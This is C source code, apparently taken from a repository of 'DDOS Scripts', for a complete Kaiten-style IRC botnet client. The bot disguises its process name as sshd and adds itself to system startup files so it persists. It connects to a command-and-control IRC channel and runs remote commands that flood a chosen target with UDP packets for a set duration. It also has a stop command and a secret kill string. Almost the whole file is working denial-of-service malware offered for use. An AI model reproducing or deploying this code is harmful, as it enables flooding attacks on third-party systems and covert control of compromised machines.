Path: blob/master/DDOS Scripts/AMP YUBINA SCRIPTS/kaitenstd.c
4607 views
12#define STARTUP //set to define if rooted3#undef IDENT4#define FAKENAME "/usr/bin/sshd"5#define CHAN "#Channel"6#define KEY "key"7#define PORT 4438#define PASS ""9#define STD2_STRING "std"10#define STD2_SIZE 5011#define PREFIX ""12int numservers=1;13char *servers[] = {14"1.1.1.1",15(void*)016};1718#include <stdarg.h>19#include <errno.h>20#include <stdio.h>21#include <stdlib.h>22#include <string.h>23#include <sys/types.h>24#include <sys/stat.h>25#include <fcntl.h>26#include <strings.h>27#include <netinet/in.h>28#include <unistd.h>29#include <sys/time.h>30#include <sys/socket.h>31#include <signal.h>32#include <arpa/inet.h>33#include <netdb.h>34#include <time.h>35#include <sys/wait.h>36#include <sys/ioctl.h>3738int sock,changeservers=0;39char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0, *adminuser1="Fine";40unsigned int *pids;41unsigned long spoofs=0, spoofsm=0, numpids=0;4243int strwildmatch(unsigned char* pattern, unsigned char* string) {44switch((unsigned char)*pattern) {45case '\0': return *string;46case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));47case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));48case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));49case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));50case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));51case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));52case '?': return !(*string && !strwildmatch(pattern+1, string+1));53default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));54}55}56int Send(int sock, char *words, ...) {57static char textBuffer[1024];58va_list args;59va_start(args, words);60vsprintf(textBuffer, words, args);61va_end(args);62return write(sock,textBuffer,strlen(textBuffer));63}64unsigned int host2ip(char *sender,char *hostname) {65static struct in_addr i;66struct hostent *h;67if((i.s_addr = inet_addr(hostname)) == -1) {68if((h = gethostbyname(hostname)) == NULL) {69Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);70exit(0);71}72bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);73}74return i.s_addr;75}76int mfork(char *sender) {77unsigned int parent, *newpids, i;78if (disabled == 1) {79Send(sock,"NOTICE %s :Unable to comply.\n",sender);80return 1;81}82parent=fork();83if (parent <= 0) return parent;84numpids++;85newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));86for (i=0;i<numpids-1;i++) newpids[i]=pids[i];87newpids[numpids-1]=parent;88free(pids);89pids=newpids;90return parent;91}92void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }93char *makestring() {94char *tmp;95int len=(rand()%5)+4,i;96FILE *file;97tmp=(char*)malloc(len+1);98memset(tmp,0,len+1);99char *pre;100if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;101else {102int a=((rand()*rand())%45402)+1;103char buf[1024];104for (i=0;i<a;i++) fgets(buf,1024,file);105memset(buf,0,1024);106fgets(buf,1024,file);107filter(buf);108memcpy(tmp,buf,len);109fclose(file);110}111return tmp;112}113void identd() {114int sockname,sockfd,sin_size,tmpsock,i;115struct sockaddr_in my_addr,their_addr;116char szBuffer[1024];117if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;118my_addr.sin_family = AF_INET;119my_addr.sin_port = htons(113);120my_addr.sin_addr.s_addr = INADDR_ANY;121memset(&(my_addr.sin_zero), 0, 8);122if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;123if (listen(sockfd, 1) == -1) return;124if (fork() == 0) return;125sin_size = sizeof(struct sockaddr_in);126if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);127for(;;) {128fd_set bla;129struct timeval timee;130FD_ZERO(&bla);131FD_SET(tmpsock,&bla);132timee.tv_sec=timee.tv_usec=60;133if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);134if (FD_ISSET(tmpsock,&bla)) break;135}136i = recv(tmpsock,szBuffer,1024,0);137if (i <= 0 || i >= 20) exit(0);138szBuffer[i]=0;139if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;140if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;141Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);142close(tmpsock);143close(sockfd);144exit(0);145}146147//STD Attack148void std(int sock, char *sender, int argc, char **argv) {149if (argc < 3) {150151Send(sock,"PRIVMSG %s :>bot +std <target> <port> <secs>\n",chan);152exit(1);153154}155unsigned long secs;156157int iSTD_Sock;158159iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);160161time_t start = time(NULL);162secs = atol(argv[3]);163if (mfork(sender) != 0) return;164Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]);165166struct sockaddr_in sin;167168struct hostent *hp;169170hp = gethostbyname(argv[1]);171172bzero((char*) &sin,sizeof(sin));173bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);174sin.sin_family = hp->h_addrtype;175sin.sin_port = atol(argv[2]);176177unsigned int a = 0;178179while(1){180if (a >= 50)181{182send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);183connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));184if (time(NULL) >= start + secs)185{186Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]);187close(iSTD_Sock);188exit(0);189}190a = 0;191}192a++;193}194195196}197198void stop(int sock, char *sender, int argc, char **argv){199unsigned long i;200for (i=0;i<numpids;i++) {201if (pids[i] != 0 && pids[i] != getpid()) {202if (sender) Send(sock,"PRIVMSG %s :Killing pid %d.\n",chan,pids[i]);203kill(pids[i],9);204}205}206}207208void unknown(int sock, char *sender, int argc, char **argv) {209int flag=1,fd,i;210unsigned long secs;211char *buf=(char*)malloc(9216);212struct hostent *hp;213struct sockaddr_in in;214215time_t start=time(NULL);216217if (mfork(sender) != 0) return;218219if (argc != 2) {220Send(sock,"PRIVMSG %s :>bot +unknown <target> <secs>\n",chan);221exit(1);222}223224secs=atol(argv[2]);225226memset((void*)&in,0,sizeof(struct sockaddr_in));227228in.sin_addr.s_addr=host2ip(sender,argv[1]);229in.sin_family = AF_INET;230231Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]);232233while(1) {234235in.sin_port = rand();236237if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){238} else {239flag=1;240ioctl(fd,FIONBIO,&flag);241sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));242close(fd);243}244245if (i >= 50) {246if (time(NULL) >= start+secs) break;247i=0;248}249i++;250}251Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]);252close(fd);253exit(0);254}255256//Kill the bot257void killsec(int sock, char *sender, int argc, char **argv) {258259if(strcasecmp(adminuser1,sender) == 0){260261kill(0,9);262263} else {264265Send(sock,"PRIVMSG %s :Nice try...\n", chan);266267}268}269270struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {271{ "+std" , std },272{ "+stop" , stop },273{ "+unknown" , unknown },274{ "Kkt9x4JApM0RuSqCLA" , killsec },275{ (char *)0, (void (*)(int,char *,int,char **))0 } };276277void _PRIVMSG(int sock, char *sender, char *str) {278int i;279char *to, *message;280281for (i=0;i<strlen(str) && str[i] != ' ';i++);282str[i]=0;283to=str;284message=str+i+2;285for (i=0;i<strlen(sender) && sender[i] != '!';i++);286sender[i]=0;287if (*message == '>' && !strcasecmp(to,chan)) {288char *params[12], name[1024]={0};289int num_params=0, m;290message++;291for (i=0;i<strlen(message) && message[i] != ' ';i++);292message[i]=0;293if (strwildmatch(message,nick)) return;294message+=i+1;295m=strlen(message);296for (i=0;i<m;i++) {297if (*message == ' ' || *message == 0) break;298name[i]=*message;299message++;300}301for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;302num_params++;303if (num_params > 10) num_params=10;304params[0]=name;305params[num_params+1]="\0";306m=1;307while (*message != 0) {308message++;309if (m >= num_params) break;310for (i=0;i<strlen(message) && message[i] != ' ';i++);311params[m]=(char*)malloc(i+1);312strncpy(params[m],message,i);313params[m][i]=0;314m++;315message+=i;316}317for (m=0; flooders[m].cmd != (char *)0; m++) {318if (!strcasecmp(flooders[m].cmd,name)) {319flooders[m].func(sock,sender,num_params-1,params);320for (i=1;i<num_params;i++) free(params[i]);321return;322}323}324}325}326void _376(int sock, char *sender, char *str) {327Send(sock,"MODE %s +pixB\n",nick);328Send(sock,"JOIN %s :%s\n",chan,key);329Send(sock,"WHO %s\n",nick);330}331void _PING(int sock, char *sender, char *str) {332333Send(sock,"PONG %s\n",str);334335}336337void _352(int sock, char *sender, char *str) {338int i,d;339char *msg=str;340struct hostent *hostm;341unsigned long m;342for (i=0,d=0;d<5;d++) {343for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;344if (i == strlen(str)) return;345}346for (i=0;i<strlen(msg) && msg[i] != ' ';i++);347msg[i]=0;348if (!strcasecmp(msg,nick) && !spoofsm) {349msg=str;350for (i=0,d=0;d<3;d++) {351for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;352if (i == strlen(str)) return;353}354for (i=0;i<strlen(msg) && msg[i] != ' ';i++);355msg[i]=0;356if ((m = inet_addr(msg)) == -1) {357if ((hostm=gethostbyname(msg)) == NULL) {358Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);359return;360}361memcpy((char*)&m, hostm->h_addr, hostm->h_length);362}363((char*)&spoofs)[3]=((char*)&m)[0];364((char*)&spoofs)[2]=((char*)&m)[1];365((char*)&spoofs)[1]=((char*)&m)[2];366((char*)&spoofs)[0]=0;367spoofsm=256;368}369}370void _433(int sock, char *sender, char *str) {371free(nick);372char tempnick[50];373char *strpref = PREFIX;374char *genname = makestring();375strcpy(tempnick,strpref);376strcat(tempnick,genname);377nick=tempnick;378}379380struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {381{ "352", _352 },382{ "376", _376 },383{ "433", _433 },384{ "422", _376 },385{ "PRIVMSG", _PRIVMSG },386{ "PING", _PING },387{ (char *)0, (void (*)(int,char *,char *))0 } };388void con() {389struct sockaddr_in srv;390unsigned long ipaddr,start;391int flag;392struct hostent *hp;393start:394sock=-1;395flag=1;396if (changeservers == 0) server=servers[rand()%numservers];397changeservers=0;398while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);399if (inet_addr(server) == 0 || inet_addr(server) == -1) {400if ((hp = gethostbyname(server)) == NULL) {401server=NULL;402close(sock);403goto start;404}405bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);406}407else srv.sin_addr.s_addr=inet_addr(server);408srv.sin_family = AF_INET;409srv.sin_port = htons(PORT);410ioctl(sock,FIONBIO,&flag);411start=time(NULL);412while(time(NULL)-start < 10) {413errno=0;414if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {415setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);416setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);417setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);418return;419}420if (!(errno == EINPROGRESS ||errno == EALREADY)) break;421sleep(1);422}423server=NULL;424close(sock);425goto start;426}427int main(int argc, char *argv[]) {428int on,i;429char cwd[256],*str;430FILE *file;431#ifdef STARTUP432str="/etc/rc.d/rc.local";433file=fopen(str,"r");434if (file == NULL) {435str="/etc/rc.conf";436file=fopen(str,"r");437}438if (file != NULL) {439char outfile[256], buf[1024];440int i=strlen(argv[0]), d=0;441getcwd(cwd,256);442if (strcmp(cwd,"/")) {443while(argv[0][i] != '/') i--;444sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);445while(!feof(file)) {446fgets(buf,1024,file);447if (!strcasecmp(buf,outfile)) d++;448}449if (d == 0) {450FILE *out;451fclose(file);452out=fopen(str,"a");453if (out != NULL) {454fputs(outfile,out);455fclose(out);456}457}458else fclose(file);459}460else fclose(file);461}462#endif463if (fork()) exit(0);464#ifdef FAKENAME465strncpy(argv[0],FAKENAME,strlen(argv[0]));466for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));467#endif468srand((time(NULL) ^ getpid()) + getppid());469char tempnick[50];470char *strpref = PREFIX;471char *genname = makestring();472473strcpy(tempnick,strpref);474strcat(tempnick,genname);475476nick=tempnick;477ident="STD";478user="STD IRC Bot";479chan=CHAN;480key=KEY;481pass=PASS;482server=NULL;483sa:484#ifdef IDENT485for (i=0;i<numpids;i++) {486if (pids[i] != 0 && pids[i] != getpid()) {487kill(pids[i],9);488waitpid(pids[i],NULL,WNOHANG);489}490}491pids=NULL;492numpids=0;493identd();494#endif495496con();497Send(sock,"PASS %s\n", pass);498Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);499while(1) {500unsigned long i;501fd_set n;502struct timeval tv;503FD_ZERO(&n);504FD_SET(sock,&n);505tv.tv_sec=60*20;506tv.tv_usec=0;507if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;508for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {509unsigned int *newpids,on;510for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];511pids[on-1]=0;512numpids--;513newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));514for (on=0;on<numpids;on++) newpids[on]=pids[on];515free(pids);516pids=newpids;517}518if (FD_ISSET(sock,&n)) {519char buf[4096], *str;520int i;521if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;522buf[i]=0;523str=strtok(buf,"\n");524while(str && *str) {525char name[1024], sender[1024];526filter(str);527if (*str == ':') {528for (i=0;i<strlen(str) && str[i] != ' ';i++);529str[i]=0;530strcpy(sender,str+1);531strcpy(str,str+i+1);532}533else strcpy(sender,"*");534for (i=0;i<strlen(str) && str[i] != ' ';i++);535str[i]=0;536strcpy(name,str);537strcpy(str,str+i+1);538for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);539if (!strcasecmp(name,"ERROR")) goto sa;540str=strtok((char*)NULL,"\n");541}542}543}544return 0;545}546547